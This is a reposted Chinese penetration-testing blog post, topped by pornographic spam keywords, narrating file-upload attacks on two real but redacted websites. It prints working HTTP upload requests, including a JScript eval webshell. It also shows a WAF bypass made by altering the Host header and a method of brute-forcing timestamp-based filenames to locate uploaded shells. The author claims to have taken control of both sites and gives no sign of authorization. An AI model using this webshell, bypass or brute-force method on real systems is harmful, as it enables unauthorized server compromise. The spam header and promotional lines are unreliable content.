日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

【渗透测试】一次运气很好的文件上传

發(fā)布時(shí)間:2025/3/21 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【渗透测试】一次运气很好的文件上传 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文件上傳

發(fā)現(xiàn)源代碼泄露

打開自己珍藏已久的辣雞字典,掃描發(fā)現(xiàn)存在bin.zip信息泄露,嘗試進(jìn)行代碼審計(jì)
文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload

找到ProccessRequest接收請(qǐng)求,可以看到獲取了一堆參數(shù)后(初始化),后進(jìn)入了HandleFiles方法,

跟進(jìn)HandleFiles進(jìn)行處理,如果dateType=ZBJHSB時(shí),就繼續(xù)處理請(qǐng)求,dateType為GET傳參

路徑為/Uploads/SetData/ZBJHSB,str名稱為時(shí)間戳,且str2(后綴)沒有進(jìn)行限制就進(jìn)行保存,

OK,這應(yīng)該是一個(gè)妥妥的任意文件上傳了,只要有返回值,那么這個(gè)站就沒了。但是很不湊巧的是,他沒有返回值。
由于方法fileUpload,瞎猜文件名為

fileUpload.aspx fileUpload.ashx fileUpload.asmx fileUploads.aspx fileUploads.asmx fileUploads.ashx Upload.....

加上自己現(xiàn)有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx

直接構(gòu)造上傳表單,這里Form里的name字段應(yīng)該是沒有具體設(shè)置的(代碼里沒有找到),發(fā)包后返回200,可能真的傳上去了吧?【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1 Host: xxx.cn:6039 Content-Length: 195 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8 Accept: */* Connection: close------WebKitFormBoundarySVkAJfiOUeRxhsu8 Content-Disposition: form-data; name="File"; filename="1.aspx" Content-Type: image/jpeg11111111111 ------WebKitFormBoundarySVkAJfiOUeRxhsu8--


之前我們看到使用的格式為yyyyMMddHHmmssfff作為文件名,然后直接截取后綴作為ext,而且我們有了具體的路徑,那么只需要爆破時(shí)間戳文件名即可拿下該站點(diǎn),以前還沒有這么做過,不妨試試。

爆破時(shí)間戳

使用Powershell生成時(shí)間戳,然后此時(shí)在Burp按下go發(fā)送請(qǐng)求包
powershell -c Get-Date -Format yyyyMMddHHmmssfff

再爆破后面5位數(shù)字,也就是ssfff(由于電腦上的時(shí)間不一定準(zhǔn),有時(shí)候甚至可能要爆破6位)
不知道等了多久

運(yùn)氣真好,后面的就不多說了。

站點(diǎn)2:文件上傳

找到上傳接口
打開網(wǎng)站http://xxxx:880/zwwpt/#/就發(fā)現(xiàn)存在一個(gè)webpack debug模式未關(guān)閉,查看JS發(fā)現(xiàn)上傳接口

http://xxxxxx:880/zwwpt/data/menuData.json
發(fā)現(xiàn)了一個(gè)隱藏的html頁(yè)面,這個(gè)頁(yè)面在前端的功能點(diǎn)是點(diǎn)不到的。

http://xxxxxx:880/jtwxt/xgjt/security_risk.html
點(diǎn)擊附件上傳抓包

發(fā)現(xiàn)存在waf,當(dāng)攔截住waf的時(shí)候,會(huì)返回404,大概數(shù)據(jù)包就是這樣(省略了一些其他的無用參數(shù))【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1 Host: xxxxx.cn:880 Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810 Connection: close------WebKitFormBoundary7PCqG5iQ5vwLZ6AB Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx" Content-Type: image/jpeg<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

繞過

修改HOST:
xxxx.cn:880為xxxx.cn或xxx.cn:8888(不為880端口應(yīng)該都可以)

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1 Host: xxxxx.cn Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810 Connection: close------WebKitFormBoundary7PCqG5iQ5vwLZ6AB Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx Content-Type: image/jpeg1111 ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

成功饒過waf,上傳成功,但是沒有返回路徑

尋找路徑

但是之前爆破目錄找到了/uploads/目錄和/image/目錄


而且發(fā)現(xiàn)html名為security_risk.html,構(gòu)造路徑securityrisk、security_risk、security等,然后跑了一下目錄【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略
最終發(fā)現(xiàn)存在 http://xxx.cn:880/uploads/securityrisk/ 這個(gè)目錄

猜測(cè)可能上傳的文件很有可能在該目錄下,不然沒必要起這么像的名字吧,而且還叫upload,于是嘗試直接訪問剛剛的文件名1.txt,返回是404
http://xxx.cn:880/uploads/securityrisk/1.txt

爆破時(shí)間戳

根據(jù)自己微不足道的經(jīng)驗(yàn),dot.net架構(gòu)的網(wǎng)站喜歡使用時(shí)間戳來命名,因此構(gòu)造當(dāng)前時(shí)間戳,嘗試爆破上傳時(shí)間附近的時(shí)間點(diǎn)的時(shí)間戳值。
時(shí)間戳一般為10位或者13位

文件上傳后強(qiáng)制轉(zhuǎn)換的文件名命名規(guī)律一般有
1、隨機(jī)字符串
xxx-xxx-xxx–xxx.jpg 格式這種類型我們沒法猜,如果沒目錄遍歷或者返回路徑,那么基本上只能放棄

2、時(shí)間戳類型

直接以時(shí)間戳+.jpg為文件名(如1631868676.jpg) 時(shí)間戳+00001 時(shí)間戳+0001 時(shí)間戳+001 時(shí)間戳+01 時(shí)間戳

3、yymmddHHmm類型
這種類型一般以20210917xxxxx這種格式,xxxx應(yīng)該為毫秒級(jí)別的數(shù)字,我們可以直接使用Burp進(jìn)行爆破跑,4——6位還是可能跑的出來的,再多就跑不出來了。
powershell -c Get-Date -Format yyyyMMddHHmm

yyyyMMddHHmmssfff yyyyMMddHHmmssfff+00001 yyyyMMddHHmmssfff+0001 yyyyMMddHHmmssfff+001 yyyyMMddHHmmssfff+01 yyyyMMddHHmmssfffyyyyMMddHHmmss yyyyMMddHHmmss+00001 yyyyMMddHHmmss+0001 yyyyMMddHHmmss+001 yyyyMMddHHmmss+01 yyyyMMddHHmmss


經(jīng)過大量爆破后,發(fā)現(xiàn)了上傳的文本文件,格式內(nèi)容為
yyyyMMddHHmmss+0001
成功找到路徑后,后面的就無需多言了

但是這種方法還是比較靠運(yùn)氣的,因?yàn)楹苡锌赡墚?dāng)前服務(wù)器的時(shí)間和目標(biāo)網(wǎng)站的時(shí)間不一致,比如差個(gè)幾個(gè)小時(shí),甚至差個(gè)幾天這種情況。如果為yyyyMMddHHmmssfff的情況,那基本是沒辦法了,自認(rèn)倒霉如果是yyyyMMddHHmmss的情況,那么爆破6位數(shù)字,還是可能爆破出來的。

至此,兩個(gè)站都拿到了權(quán)限,夢(mèng)醒了。

最后
關(guān)注私我獲取2021最新【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略

總結(jié)

以上是生活随笔為你收集整理的【渗透测试】一次运气很好的文件上传的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。